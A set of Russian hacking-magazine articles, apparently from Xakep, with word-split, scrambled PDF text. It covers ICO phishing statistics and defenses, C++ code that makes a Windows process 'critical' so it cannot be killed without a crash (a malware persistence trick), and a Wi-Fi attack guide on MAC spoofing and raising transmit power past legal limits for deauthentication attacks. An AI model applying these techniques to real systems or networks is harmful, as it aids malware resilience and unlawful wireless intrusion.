тный про ект. Рас сылка мошен ничес ких писем, как пра вило, соп ровож дает ся
мощ ной  DDoS‐ата кой  на  сайт  про екта.  Смысл  все го  это го  очень  прост:
хакеры  копиру ют содер жимое сай та,  дела ют похожий домен и  вык ладыва ют
в интернет. Ничего необыч ного  здесь нет,  все  как и  всег да. В слу чае с  ICO
соз дают ся фиши двух типов: пер вый тип заточен под кра жу при ват ного клю ча
поль зовате ля,  вто рой  прос то  про сит  переки нуть  крип товалю ту  на  адрес
кошель ка или смарт‐кон трак та.

Как  кто‐то  может  оста вить  на  сай те  мошен ников  при ват ный  ключ?
Не  кажет ся  ли  это  подоз ритель ным?  Увы,  ког да  в  деле  замеша но  желание
быс тро обо гатить ся, слу чает ся еще и не такое. Судя по Etherscan, люди иног‐ 
да дела ют и пов торные перево ды, ничего при этом не получая вза мен.

По  ста тис тике  ком пании  Chainalysis,  око ло  56%  всех  средств,  укра ден ных
с  ICO,  были  похище ны  с  помощью  фишин говых  атак.  При мер ная  оцен ка
ущер ба от фишин га — 115 мил лионов дол ларов. По дан ным Group‐IB, круп‐ 
ная  фишин говая  груп пиров ка  зараба тыва ет  от  3  тысяч  до  1  мил лиона  дол‐ 
ларов  в  месяц.  Сей час  фишинг  —  самый  популяр ный  спо соб  хищения
средств у инвесто ров. В раз гар «крип товалют ной лихорад ки» все стре мят ся
как мож но быс трее купить токены (зачас тую они про дают ся с боль шой скид‐ 
кой) и не обра щают вни мания на такие мелочи, как кри вые домены.

Ти пич ная  схе ма  —  зло умыш ленни ки  покупа ют  кон текс тную  рек ламу
в  поис ковых  движ ках,  орга низо выва ют  лавину  сооб щений  в  мес сен дже рах
и  любыми  спо соба ми  ста рают ся  наг нать  тра фик  на  фишин говый  сайт.
В общем, при желании мож но даже ввес ти показа тель инвести цион ной прив‐ 
лекатель нос ти  про екта,  под счи тав  количес тво  фишин говых  сай тов,  сде лан‐ 
ных на его осно ве.

Го товясь к одной пре зен тации, я сде лал скрин шот с поис ком ICO STORM
Token в Google. Он при меча телен тем, что пер вые три ссыл ки — это фишинг,
раз мещен ный  через  кон текс тную  рек ламу.  Кро ме  того,  час то  попада ется
фишин говый MyEtherWallet. Будь те бди тель ны!

Есть очень хороший про ект  , где агре гиру ют фишинг по ICO.
В его базе нас читыва ется 2533 вхож дения. Сущес твен но для столь молодой
индус трии. Для одно го толь ко MyEtherWallet зарегис три рова но 2206 фишин‐ 
говых доменов.

etherscamdb.info

КОГДА ТЕРЯЕШЬ ПОСЛЕ СБОРА
Са мый пло хой вари ант для любой  ICO‐коман ды — потерять средс тва пос ле
успешно го  сбо ра.  Это  слу чает ся  из‐за  неак курат ного  обра щения  с  крип‐ 
товалю той,  уяз вимос тей  в  смарт‐кон трак тах  и  зироде ев  в  популяр ных
кошель ках.  И  даже  если  отбро сить  уяз вимос ти  в  собс твен ном  ПО,  риск
потери средств в осталь ных слу чаях нивели ровать дос таточ но слож но.

Хо роший при мер — про ект The DAO, у которо го ата кующие 
как  минимум  53  мил лиона  дол ларов.  Дру гой  при мер  —  про ект  aeternity,
у  которо го    30  мил лионов  дол ларов  через  зиродей‐уяз‐ 
вимость в кошель ке Parity.

смог ли украсть

бы ло  похище но

Уяз вимос ти  смарт‐кон трак тов  активно  изу чают ся  сооб щес твом.  Нап‐ 
ример, в работе уче ных из Уни вер ситета Каль яри ( ) опи саны раз ные тех‐ 
ники экс плу ата ции. Сущес тву ют и попыт ки повысить безопас ность — к при‐ 
меру, ути лита   про веря ет смарт‐кон трак ты на уяз вимос ти в авто мати‐ 
чес ком режиме.
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Ско рее  все го,  «кри миналь ные»  смарт‐кон трак ты  еще  най дут  свое  при‐ 
мене ние  в  мире  высоких  тех нологий.  Нап ример,  в  науч ной  работе  «Коль цо
Гига: иссле дова ние будуще го кри миналь ных смарт‐кон трак тов» ( ) иссле‐ 
дова тель Ари Юэльс и его кол леги рас смат рива ют вари анты того, как мож но
исполь зовать смарт‐кон трак ты во вред.
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КАК ЗАЩИТИТЬ КОМАНДУ: ТИПОВОЙ СЦЕНАРИЙ
Са мая  уяз вимая  часть  любого  про екта —  это  его  коман да.  Пло хая  защита
пер сональ ных  акка унтов,  отсутс твие  эле мен тарной  куль туры  компь ютер ной
гиги ены  зачас тую  при водит  к  тому,  что  акка унты  мес сен дже ров  и  соц сетей
ком про мети руют ся  и  ата кующие  получа ют  воз можность  рас сылать  ссыл ки
на фишин говые сай ты налево и нап раво, дис кре дити ровать коман ду, менять
дан ные на сай тах и так далее. Хуже это го может быть толь ко ком про мета ция
при ват ных клю чей от крип товалют ных кошель ков.

Итак,  вот  что  нуж но  сде лать,  что бы  про веде ние  ICO  не  было  омра чено
кри мина лом.
1. За щита  от  DDoS‐ата ки.  Прак тичес ки  каж дый  рас кру чен ный  про ект  стал‐ 
кива ется с ата ками это го типа. Луч ше заранее оза ботить ся качес твен ной
защитой от DDoS. Недос тупность сай та зачас тую отталки вает потен циаль‐ 
ных инвесто ров от вло жений.

2. За щита коман ды про екта. Все чле ны коман ды дол жны защитить свои пер‐ 
сональ ные акка унты в соци аль ных сетях, пос тавить двух фактор ную аутен‐ 
тифика цию, внед рить пароль ные полити ки.

3. Ин форма цион ная  безопас ность  при ложе ний.  Естес твен но,  нуж но  про‐ 
верить  все  на  наличие  уяз вимос тей  и  сде лать  качес твен ные  нас трой ки
дос тупа к кри тич ным служ бам на сер верах.

4. Про вер ка  смарт‐кон трак тов  на  наличие  извес тных  уяз вимос тей.  Нуж но
как минимум прос каниро вать их авто мати чес кими средс тва ми.

5. Обу чите  комь юни ти  рас позна вать  фишинг.  Это  отно ситель но  прос тая
и дешевая мера, которая поз волит сущес твен но обе зопа сить потен циаль‐ 
ных инвесто ров от потери средств.

ВЫВОДЫ
Про ана лизи ровав  более  полуто ра  сотен  атак  на  блок чейн‐про екты  (бир жи,
обменни ки,  кошель ки,  фон ды),  мы  приш ли  к  выводу,  что  основная  мас са
проб лем  кро ется  в  уяз вимос ти  самих  крип тосер висов,  исполь зующих  тех‐ 
нологию блок чей на. В слу чае с Ethereum крип тосер висы стал кива ются как с
уяз вимос тями  в  собс твен ных  смарт‐кон трак тах,  так  и  с  хорошо  изу чен ными
проб лемами вро де дефей сов,  ком про мета ции акка унтов и фишин га. Зачас‐ 
тую  хакерам  даже  не  нуж но  знать  осо бен ности  работы  смарт‐кон трак тов
и тон кости работы блок чей на. Тра дици онные и хорошо отра ботан ные методы
отлично работа ют при хищении крип товалю ты у поль зовате лей.

https://bitcointalk.org/
https://cryptodetectives.ru/
https://en.worldwifi.io/
https://etherscamdb.info/
https://xakep.ru/2016/06/17/splitdao-attack/
https://xakep.ru/2017/07/20/parity-bug/
https://eprint.iacr.org/2016/1007.pdf
https://github.com/melonproject/oyente
http://www.initc3.org/files/Gyges.pdf
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ВЗЛОМ

Часть про цес сов опе раци онной сис темы счи тают ся «кри тич‐ 
ными»  —  если  завер шить  один  из  них,  Windows  выпадет
в синий экран смер ти и перезаг рузит ся. Этим активно поль‐ 
зуют ся вирусо писа тели: если сде лать свой про цесс кри тич‐ 
ным,  то  его  нель зя  будет  завер шить  прос то  так.  В  этой
статье  я  покажу,  как  соз давать  такие  про цес сы  и  как  при‐ 
бивать их без падения сис темы.

Де ло в том, что хорошо орга низо вать защиту про цес са от завер шения, ког да
поль зователь  работа ет  под  учет ной  записью  адми нис тра тора,  прак тичес ки
невоз можно. Есть раз ные полуме ры, но на пол ноцен ную защиту они не тянут.
Нап ример, мож но исполь зовать драй веры режима ядра, но в 64‐бит ных опе‐ 
раци онных сис темах не так прос то пре одо леть механизм Kernel Patch Protec‐
tion. Оста ется при бегать к трю кам вро де того, который мы раз берем.

Да вай  пос мотрим,  как  соз дать  кри тич ный  про цесс  в  Windows,  как  про‐ 
верить,  что  про цесс  явля ется  кри тич ным,  и  как  его  завер шить  без  падения
сис темы в BSOD. Стро го говоря, соз давать мы будем не про цесс, а кри тич‐ 
ный  поток.  Ведь  про цесс  в  Windows  —  это  что‐то  вро де  кон тей нера
для потоков, в которых и выпол няет ся код.

WARNING

Весь  код,  который  я  при вожу  в  статье,  нас‐ 
тоятель но  рекомен дую  исполнять  толь ко  в  вир‐ 
туаль ной  машине,  потому  что  завер шение  кри‐ 
тичес кого  про цес са  вызовет  обще сис темный
сбой и падение сис темы в BSOD с кодом 

 и воз можной потерей дан‐ 
ных.  Все  тес ты  я  про водил  в  VirtualBox  на  Win‐
dows 10 LTSB x64 в качес тве хос та.

CRITI‐
CAL_PROCESS_DIED

Есть  нес коль ко  методов,  которые  помогут  нам  соз дать  кри тич ный  про цесс.
Все  они  осно ваны  на  манипу ляции  вызова ми  NTAPI  (Native  Windows  API),
самыми  «низ коуров невыми»,  которые  мож но  выпол нить  в  режиме  поль‐ 
зовате ля. Эти фун кции экспор тиру ются  . Через обер тку 

 мы смо жем получить их адре са и выз вать их.
ntoskrnl.exe ntdll.

dll

RTLSETPROCESSISCRITICAL
Пер вая фун кция Native API, которая поможет нам пометить про цесс как кри‐ 
тич ный, — это  . Ее про тотип выг лядит так:RtlSetProcessIsCritical

NTSYSAPI
NTSTATUS
STDAPIVCALLTYPE
RtlSetProcessIsCritical(
   IN  BOOLEAN  NewValue,
   OUT PBOOLEAN OldValue OPTIONAL,
   IN  BOOLEAN  CheckFlag
);

Что бы эта фун кция сра бота ла, перед ее вызовом нуж но будет получить при‐ 
виле гию  .  Это  мож но  сде лать  через  «обыч ные»  фун кции
WinAPI.

SeDebugPrivilege

BOOL setPrivileges(LPCTSTR szPrivName)
{
   TOKEN_PRIVILEGES tp = { 0 };
   HANDLE hToken = 0;
   tp.PrivilegeCount = 1;
   tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
   if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PR
IVILEGES, &hToken))
       std::cout << "OpenProcessToken failed\n";
   if (!LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].
Luid))
       std::cout << "LookupPrivilegeValue failed\n";
   if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, 
NULL))
   {
       std::cout << "AdjustTokenPrivileges failed\n";
       CloseHandle(hToken);
       return TRUE;
   }
   return FALSE;
}

Вы зов фун кции для получе ния   будет таким:SE_DEBUG_NAME

setPrivileges(SE_DEBUG_NAME);

Дру гой  спо соб  получить  ее —  это  натив ная  фун кция  :
нуж но передать ей в  качес тве пер вого парамет ра зна чение 20  (

). Разуме ется, перед вызовом этой фун кции ее адрес сле дует получить
из   динами чес ки. Вызов будет выг лядеть таким обра зом:

RtlAdjustPrivilege
SE_DEBUG_‐

NAME
ntdll.dll

PBOOLEAN pbEn;
RtlAdjustPrivilege(20, TRUE, FALSE, pbEn);

Итак, при виле гия получе на, прис тупа ем к реали зации основной фун кци ональ‐ 
нос ти.

typedef NTSTATUS(NTAPI *pRtlSetProcessIsCritical)(BOOLEAN bNewValue, 
BOOLEAN *pbOldValue, BOOLEAN  CheckFlag);
bool set_proc_critical()
{
   pRtlSetProcessIsCritical RtlSetProcessIsCritical = (pRtlSe
tProcessIsCritical)GetProcAddress(LoadLibrary(("ntdll.dll")), "RtlSet
ProcessIsCritical");
       if (NT_SUCCESS(RtlSetProcessIsCritical(TRUE, 0, FALSE))) 
return TRUE;
           else return FALSE;
}

Здесь  все  понят но:  фун кцию    получа ем  динами‐ 
чес кой  лин ковкой  средс тва ми    нап рямую
из  . Самая инте рес ная строч ка кода для нас — это

RtlSetProcessIsCritical
GetProcAddress/LoadLibrary

ntdll.dll

if (NT_SUCCESS(RtlSetProcessIsCritical(TRUE, 0, FALSE))) return TRUE;

Здесь  мы  переда ем  зна чение  ,  ука зывая  фун кции 
 сде лать про цесс кри тич ным. Одновре мен но мы про веря ем воз вра‐ 

щаемое ей зна чение, и в слу чае уда чи наша фун кция воз вра щает  . Если
выз вать    с  парамет ром  ,  про цесс  перес‐ 
танет быть кри тич ным.

TRUE RtlSetProcessIs‐
Critical

TRUE
RtlSetProcessIsCritical FALSE

Да вай  коп нем  нем ного  глуб же  и  раз берем ся,  как  имен но  работа ет фун‐ 
кция  . Она вызыва ет фун кцию 

 из Native API,  которая обра щает ся  к PEB про цес са и меня ет  в  нем
поле   — оно и отве чает за то, что бы опе раци онка
счи тала наш про цесс кри тич ным.

RtlSetProcessIsCritical NtSetInformation‐
Process

ThreadBreakOnTermination

INFO

Блок  окру жения  про цес са  (Process  Environment
Block,  PEB)  запол няет ся  заг рузчи ком  опе раци‐ 
онной  сис темы,  находит ся  в  адресном  прос‐ 
транс тве про цес са и может быть модифи циро ван
из режима usermode. Он содер жит мно го полей —
нап ример,  отсю да  мож но  узнать  информа цию
о текущем модуле, об окру жении, о заг ружен ных
модулях.  Получить  струк туру  PEB  мож но,  обра‐ 
тив шись  к  ней  нап рямую  по  адре су 
для x86‐сис тем и   для x64.

fs:[30h]
gs:[60h]

Та ким  обра зом,  мы  перехо дим  ко  вто рому  методу,  который  про демонс три‐ 
рует нам соз дание кри тич ных про цес сов.

NTSETINFORMATIONPROCESS
  —  это  натив ная  фун кция,  которая  поможет  нам

изме нить  зна чение  поля    в  PEB  на  нуж ное  нам.
Адрес этой фун кции необ ходимо получить динами чес ки из  , как мы
уже делали с  . Этот метод уни вер сален, пос коль‐ 
ку,  исполь зуя  эту  фун кцию,  мы  обес печива ем  сов мести мость  с  более  ста‐ 
рыми вер сиями Windows:   появи лась толь ко в Win‐
dows 8.

NtSetInformationProcess
ThreadBreakOnTermination

ntdll.dll
RtlSetProcessIsCritical

RtlSetProcessIsCritical

Ре али зация будет выг лядеть сле дующим обра зом.

typedef NTSTATUS(WINAPI *pNtQueryInformationProcess)(HANDLE, PROCES
SINFOCLASS, PVOID, ULONG, PULONG);
pNtSetInformationProcess NtSetInformationProcess = (pNtSetInformati
onProcess)GetProcAddress(LoadLibrary(("ntdll.dll")), "NtSetInformatio
nProcess");
bool set_proc_critical(HANDLE hProc)
{
   ULONG count = 1;
   if (NT_SUCCESS(NtSetInformationProcess(hProc,
           0x1D, // ThreadBreakOnTermination в структуре PROCES
SINFOCLASS
           &count,
           sizeof(ULONG))))
       return TRUE;
   else return FALSE;
}

В  фун кцию    переда ем  хендл  про цес са,  который
будем  делать  кри тич ным,  и  чис ло  0x1D,  которое  озна чает 

 в струк туре  .

NtSetInformationProcess
ThreadBreakOn‐

Termination PROCESSINFOCLASS

ПРОВЕРКА КРИТИЧНОСТИ ПРОЦЕССА
Те перь,  понимая,  как  опе раци онная  сис тема опре деля ет  ста тус  наших  про‐ 
цес сов, и зная,  какие имен но фун кции WinAPI и NTAPI она при этом исполь‐ 
зует,  мы  лег ко  смо жем  опре делить,  явля ется  ли  любой  про цесс  кри тич ным
или нет. Как обыч но, вос поль зуем ся сра зу нес коль кими метода ми.

BOOL check_critical(HANDLE hProc)
{
   ULONG count = 0;
   if(NT_SUCCESS(NtQueryInformationProcess (hProc,
           0x1D, // ThreadBreakOnTermination в структуре PROCES
SINFOCLASS
           &count,
           sizeof(ULONG),
           NULL)) && count)
       return TRUE;
   else return FALSE;
}

Здесь в фун кцию   переда ется  хендл инте ресу‐ 
юще го  нас  про цес са  и  поле  в  струк туре  ,  которое  нуж но
про верить.  Пос ле  выпол нения  фун кции    про‐ 
веря ем перемен ную  , которая ста нет рав на еди нице, если про цесс кри‐ 
тич ный.

NtQueryInformationProcess
PROCESSINFOCLASS
NtQueryInformationProcess

count

Кро ме фун кции  , есть спе циаль ная фун кция,
пред назна чен ная  имен но  для  наших  нужд,  —  .  Ее  про‐ 
тотип выг лядит таким обра зом.

NtQueryInformationProcess
IsProcessCritical

BOOL IsProcessCritical(HANDLE hProcess, PBOOL Critical);

При мер исполь зования этой фун кции:

PBOOL test = FALSE;
if(IsProcessCritical(GetCurrentProcess(), test))
{
   if(test) std::cout << "Critical process\n";
   else std::cout << "NOT critical process\n";
}

Фун кция    изме нит  перемен ную   на  ,  если  про‐ 
цесс кри тич ный, или оста вит   в том слу чае, если это не так.

IsProcessCritical test TRUE
FALSE

ВЫВОДЫ
В  этой  статье  я  пос тарал ся  рас ска зать,  что  такое  кри тич ные  про цес сы,
как ОС реаги рует на их завер шение. Так же мы узна ли, как снять флаг кри тич‐ 
ности  с  про цес са,  что бы  его  без болез ненно  завер шить,  и  как  прог рам мно
про верить,  явля ется  ли  про цесс  кри тич ным.  Я  наде юсь,  что  ты  не  будешь
при менять  получен ную  информа цию  в  дес трук тивных  целях.  Ну,  раз ве  что
для шуток над друзь ями! :‐)

mailto:xtahi0nix@gmail.com
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ВЗЛОМ

В  прош лых  стать ях  о  пен тестах  точек  дос тупа  Wi‐Fi  мы
разоб рали  базовые  тех ники,  а  сей час  при мем ся  за  более
прод винутые.  Рас смот рим  осо бен ности  адап теров
и добавим мощ ности нашему дон глу. Это необ ходимо, что‐ 
бы исполь зовать уско рен ные спо собы взло ма, при нуди тель‐ 
но  отклю чать  бес про вод ные  кли енты,  ата ковать  скры тые
сети и обхо дить филь тра цию по MAC‐адре сам.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

УВЕЛИЧИВАЕМ МОЩНОСТЬ WI-FI-АДАПТЕРА
Силь нее все го на эффектив ность ата ки вли яет  уро вень сиг нала. Твой донгл
дол жен быть дос таточ но чувс тви тель ным, что бы услы шать сла бый сиг нал ата‐ 
куемых  точек  дос тупа  и  перех ватить  все  пакеты  хен дшей ка.  Одновре мен но
ему нужен мощ ный передат чик, ина че отсы лаемые им коман ды деав ториза‐ 
ции или перебо ра WPS‐пинов не дос тигнут цели.

Чувс тви тель ность при емни ка
Чем тише ты ста новишь ся, тем боль ше смо жешь услы шать — таков девиз Of‐
fensive Security, прод вига ющей популяр ный дис три бутив Kali Linux. При мени‐ 
тель но к вар драй вин гу он озна чает, что слу шать эфир, находить в нем точ ки
дос тупа Wi‐Fi (далее — AP, access points) и собирать хен дшей ки нуж но с мак‐ 
сималь но чувс тви тель ным при емни ком. То есть с таким адап тером, у которо‐ 
го высокое соот ношение сиг нал/шум.

На ивно ожи дать его от USB‐свис тков со встро енны ми антенна ми — у них
очень сла бый при емник, а слиш ком близ ко рас положен ные элек трон ные ком‐ 
понен ты генери руют силь ные помехи. Поэто му важ но выб рать Wi‐Fi‐адап тер
не  толь ко  с  ,  но  и  с  адек ватной  схе мотех никой  (а  в  иде‐ 
але — с хорошим экра ниро вани ем).

под ходящим чипом

Тра дици онно по это му показа телю лидиру ет Alfa Network. Даже сов ремен‐ 
ные уде шев ленные ревизии без экра ниру ющей плас тины показы вают чудеса.
Нап ример,  AWUS051NH  v2  лишен  экра ниро вания,  но  сде лан  все  на  том  же
чипе RT3572, и сде лан качес твен но.

Чип RT3572

Вскры ваем AWUS051NH v2

У него «пра виль ный» чип RT3572 и весь ма неп лохая схе мотех ника (хотя у ста‐ 
рых адап теров от Alfa Network она еще луч ше). За две минуты ска ниро вания
в моем тес те он пой мал 70 точек дос тупа с уров нем сиг нала 18 дБм и выше.

Улов AWUS051

Срав ним с резуль татами дру гого адап тера — Netis WF2150. Ана логич ное мес‐ 
то и вре мя, те же две минуты ска ниро вания.

Улов WF2150

Все го 49 AP, а уро вень сиг нала от боль шинс тва из них упал ниже 18 дБм. Нес‐ 
мотря  на  «пра виль ный»  чип  RT5572N,  резуль таты  ока зыва ются  пла чев ными
из‐за при митив ной схе мы самого адап тера. Как уже писал ранее, мож но его
разоб рать и под клю чить внеш нюю антенну к мини атюр ному гнез ду на пла те.
Одна ко  коэф фици ент  уси ления  (КУ)  внеш ней  антенны —  тоже  пал ка  о  двух
кон цах, пос коль ку вмес те с полез ным сиг налом рас тет и уро вень шумов.

Преж де  чем менять  антенну,  обра ти  вни мание на диаг рамму нап равлен‐ 
ности  и  поэк спе римен тируй  с  час тично  нап равлен ными  антенна ми.  Узким
лучом «яги» слож но при целить ся, а вот панель ные антенны ока зались очень
удоб ны на прак тике. Они дадут тебе широкий сек тор гра дусов в шесть десят.
По  выб ранно му  нап равле нию  они  про демонс три руют  резуль тат  при мер но
в шесть раз луч ше, чем если бы ты раз махивал полумет ровым диполем.

INFO

Ан тенна с более высоким КУ порой дает резуль‐ 
таты хуже, чем штат ная кро ха на 3 дБи. Поэто му
смот ри на тип антенны, рас положе ние антенно го
модуля и его экра ниро вание, а не пытай ся срав‐ 
нивать децибе лы в лоб и прос то взять пал ку под‐ 
линнее.  Толь ко  сочета ние  чипа  с  под дер жкой
режима  монито рин га  и  при емни ка  с  высокой
чувс тви тель ностью поз волит зах ватить качес твен‐ 
ные  хен дшей ки,  содер жащие  всю  необ ходимую
информа цию для вос ста нов ления пароля под клю‐ 
чения.

Продолжение статьи →

https://xakep.ru/2016/09/27/wardriving-devices/


ОДНА «АЛЬФА»
ХОРОШО, А ДВЕ —

ЛУЧШЕ!
ГОТОВИМСЯ К ПРОДВИНУТЫМ ТЕХНИКАМ

ВЗЛОМА WI‐FI

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Мощ ность передат чика
Си деть  в  засаде  с  чувс тви тель ным  при емни ком  совер шенно  безопас но,
одна ко  прож дать  сбор  хен дшей ков  мож но  не  один  час.  Прод винутые  ата ки
на бес про вод ные сети занима ют минуты и стро ятся на том, что ты дей ству ешь
активно. Нап ример, рас сыла ешь пакеты деав ториза ции, вынуж дая легаль ные
кли енты ата куемой точ ки дос тупа выпол нять пос тоян ный рекон нект. Либо ты
прос то  глу шишь  реаль ную  AP,  под меняя  ее  в  эфи ре  сво им  «злым  кло ном»,
и  нап рямую  получа ешь  пароли  от  довер чивых  кли ент ских  устрой ств.  Все
это тре бует мощ ного передат чика, но где его взять?

Есть два вари анта: сра зу обза вес тись мощ ным либо при бавить мощ ности
име юще муся.  В  пер вом  слу чае могут  быть  проб лемы  с  покуп кой,  осо бен но
из‐за  рубежа.  Устрой ства  с  мощ ностью  выше  100  мВт  час то  задер жива ют
на тамож не. Плюс любая покуп ка тре бует зат рат, поэто му рас смот рим вто рой
вари ант.

WARNING

Ра ботая  на  высокой  мощ ности,  адап тер  быс тро
перег рева ется  (осо бен но  в  режиме  инжекта
пакетов), вызыва ет помехи свя зи и пред став ляет
некото рую  опас ность  для  здо ровья.  Поэто му
не  ставь  сра зу  33  dBm.  Поп робуй  начать
с 22 и плав но уве личи вать зна чение. Шка ла здесь
логариф мичес кая,  поэто му  при бав ка
на пару‐трой ку dBm дает двук ратное повыше ние
мощ ности.

По умол чанию все Wi‐Fi‐модули стар туют на минималь ной мощ ности. В таком
режиме  они  запус кают ся  сог ласно  стан дарту  ISO  3166,  который  отра жен
в  базе  дан ных  бес про вод ных  устрой ств.  В  Linux  это 

.  В  Kali  Linux  (вклю чая  Nethunter)  она  находит ся  по  адре су 
. Этот файл счи тыва ет агент цен траль ной базы дан ных рег‐ 

ламен тирован ных  нас тро ек  (Central  Regulatory  Domain  Agent  —  CRDA)
и  отправ ляет  ядру  информа цию  о  том,  какая  мощ ность  допус тима
для  передат чика  в  дан ном  реги оне.  Таким  обра зом,  в ОС  дей ству ет  общая
сис темная  нас трой ка  мощ ности  передат чика  для  любых  Wi‐Fi‐адап теров
на кон крет ном бес про вод ном интерфей се.

wireless  regulatory  data‐
base /lib/crda/
regulatory.bin

По умол чанию обыч но задан какой‐нибудь код из реги она EMEA, где раз‐ 
реша ются толь ко жал кие 100 мВт (20 дБм). Поэто му, под клю чив любой донгл,
ты будешь  тщет но  слать  пакеты deauth  и  пытать ся  заг лушить  най ден ные AP.
Мало  кто  услы шит  твои  20  дБм,  а  льви ная  доля  команд  отфиль тру ется
целевы ми устрой ства ми как помехи.

Пос мотреть  текущий  реги он,  дос тупные  каналы  и  раз решен ные  пре делы
мощ ности  мож но  коман дой  ,  одна ко  ее  выдача  получа ется  очень
длин ной (на нес коль ко экра нов).

iw  list

Смот рим парамет ры бес про вод ных устрой ств

Быс тро  про верить  MAC‐адрес  и  задан ную  мощ ность  передат чика  удоб нее
коман дой  .iw <имя_интерфейса> info

Экс пресс‐про вер ка нас тро ек

Во вре мена BackTrack мож но было прос то взять адап тер посерь езнее  (нап‐ 
ример, от Alfa Network) и сра зу получить при бав ку мощ ности. Дело в том, что
в  них  изна чаль но  был  про шит  такой  реги ональ ный  код,  который  поз воля ет
исполь зовать боль шую мощ ность. Нап ример, код «BO» — Боливия. Ког да‐то
там была раз решена мощ ность передат чиков  IEEE 802.11b/g/n до 2000 мВт
(33 дБм). Это в двад цать раз боль ше зна чения по умол чанию в Рос сии. Сей‐ 
час в Боливии дей ству ет огра ниче ние в 30 дБм (1000 мВт), но это все рав но
на порядок луч ше дефол тных нас тро ек.

Се год ня  реги ональ ные  нас трой ки  ужес точились,  а  одна  и  та  же  модель
обза велась парой‐трой кой ревизий. Поэто му каж дая покуп ка «Аль фы» прев‐ 
ратилась в лотерею. Мож но нар вать ся на уде шев ленную ревизию или прос то
гру бую под делку. Нап рашива ется вывод: надо вруч ную сме нить реги он, под‐ 
клю чить  «Аль фу»  или  дру гой  про верен ный  адап тер,  задать  более  высокую
мощ ность передат чика и нас лаждать ся жизнью. Дей стви тель но, в боль шинс‐ 
тве дис три бути вов для пен теста это дела ется прос то. Я спе циаль но про верил
пять раз ных: Kali, BugTraq II, Backbox, Cyborg и Matriux. Вез де коман да сме ны
реги она и уве личе ния мощ ности сра бота ла бук валь но в пять строк.

Ка кие‐то  осо бен ности  были  толь ко  в  Backbox.  Наз вание  бес про вод ного
интерфей са  в  нем выг лядит  как  ,  где  вмес то   — адрес  адап тера,
записан ный  в  ниж нем  регис тре.  Ути лита  macchanger  отра баты вает  кор рек‐ 
тно, одна ко наз вание интерфей са оста ется преж ним. Это надо учесть в пос‐ 
ледней коман де его акти вации (см. далее по тек сту).

wlxmac mac

Хит рое наз вание wlan в Backbox

Об щий  прин цип  соф тового  уве личе ния  мощ ности  передат чика  прос той,
но тут важ ны детали. Поэто му раз берем его пошаго во на при мере Kali 2018.1.

INFO

Прак тичес ки все коман ды выпол няют ся от име ни
супер поль зовате ля. Запус ти тер минал под рутом
или дописы вай   в начале каж дой стро ки.sudo

Сна чала  мы  опре деля ем  име на  бес про вод ных  интерфей сов  коман дой 
. Видим, к при меру, wlan0 и wlan1 — как понять, какой из них нуж ный?

Кро ме мно гок ратно опи сан ных крас ногла зых спо собов, есть и дру гие — быс‐ 
трые и гаран тирован ные.

iw‐
config

: физичес ки отклю чаем USB‐донгл и пишем коман ду 
 заново. Тот интерфейс, которо го теперь нет в спис ке, и был нуж ным.

Пер вый спо соб iw‐
config

Оп ределя ем бес про вод ные интерфей сы

:  вызыва ем  .  Он  хоть  и  счи тает ся  при митив ным
скрип том,  зато  сра зу  спра шива ет,  какой  интерфейс  исполь зовать,  и  обоз‐ 
нача ет их уже более внят но — с ука зани ем чип сета и задей ство ван ных драй‐ 
веров.  Если  в  наз вании wlan  есть  извес тный  чип сет  и  окон чание USB — он
и нужен.

Вто рой  спо соб wifite

Смот рим номер wlan в wifite

Пос ле  того  как  опре дели лись  с  наз вани ем  бес про вод ного  интерфей са,
отклю чаем его.

ifconfig wlan1 down

На этом эта пе желатель но сме нить MAC‐адрес адап тера.

macchanger ‐r wlan1

Ключ    зада ет  слу чай ный  адрес,  а  если  хочешь  ука зать  опре делен ный,
исполь зуй ключ  . Нап ример:

‐r
‐‐mac

macchanger ‐‐mac=2F:4B:D9:33:89:0B wlan1

На поми наю, что пер вые три циф ры ука зыва ют про изво дите ля. Их спи сок (OUI
vendor  list) смот ри   или  . Он при годит ся, если ты хочешь сымити‐ 
ровать под клю чение от устрой ства дру гого вен дора или не слиш ком выдавать
ата ку пол ностью слу чай ным MAC‐адре сом. К тому же мно гие AP сегод ня све‐ 
ряют ся с OUI и прос то отка зыва ют в под клю чении кли ентам с MAC‐адре сом
неиз вес тно го про изво дите ля.

здесь здесь

Те перь  зада ем  наз вание  реги она,  в  котором  раз решены  передат чики
мощ ностью 30 дБм или выше.

iw reg set BO

По мимо  , для повыше ния мощ ности так же успешно исполь зуют ся реги оны
AM,  BZ,  GR,  GY,  NZ,  VE  и  дру гие  (пол ный  спи сок  смот ри  в  фай ле  ,
ссыл ка  на  него  есть  во  врез ке  далее  по  тек сту).  Опци ональ но  про веря ем
новую уста нов ку реги она:

BO
db.txt

iw reg get

Да лее меня ем сис темную нас трой ку  допус тимой мощ ности для  выб ранно го
бес про вод ного интерфей са:

iwconfig wlan1 txpower 30

Под нима ем его:

ifconfig wlan1 up

и про веря ем резуль тат:

iwconfig

Дол жно получить ся при мер но так, как на скрин шоте ниже.

Ес ли не уда лось, то вни матель но про верь коман ды еще раз. Так же учти, что
общую нас трой ку   может игно риро вать драй вер. На моей прак‐ 
тике  такое встре чалось с драй вером    и  чипом Qualcomm Atheros
AR9271. На нем, в час тнос ти, про изво дит ся модель AWUS036NHA. Поэк спе‐ 
римен тируй с дру гими драй верами, адап терами и дис три бути вами Linux.

iw reg set
ath9k htc

INFO

Нас трой ки  wireless  regdb  про писа ны  в  фай ле
. В нем ты уви дишь реги оны

и с боль шей раз решен ной мощ ностью, но не спе‐ 
ши радовать ся. Даже если выс тавить 36 дБм,  то
сов сем  не  факт,  что  твой  донгл  от  это го  ста нет
даль нобой нее.  Боль шинс тво  USB‐адап теров
не дотяги вают и до 30 дБм из‐за чис то конс трук‐ 
тивных  огра ниче ний.  Даль нейшее  устра нение
соф товых лимитов им не поможет.

db.txt внут ри архи ва

Пос ле  уве личе ния  мощ ности  мож но  гораз до  эффектив нее  выпол нять  ата ки
на  AP  с  исполь зовани ем  деаутен тифика ции  под клю чен ных  к  ним  кли ентов.
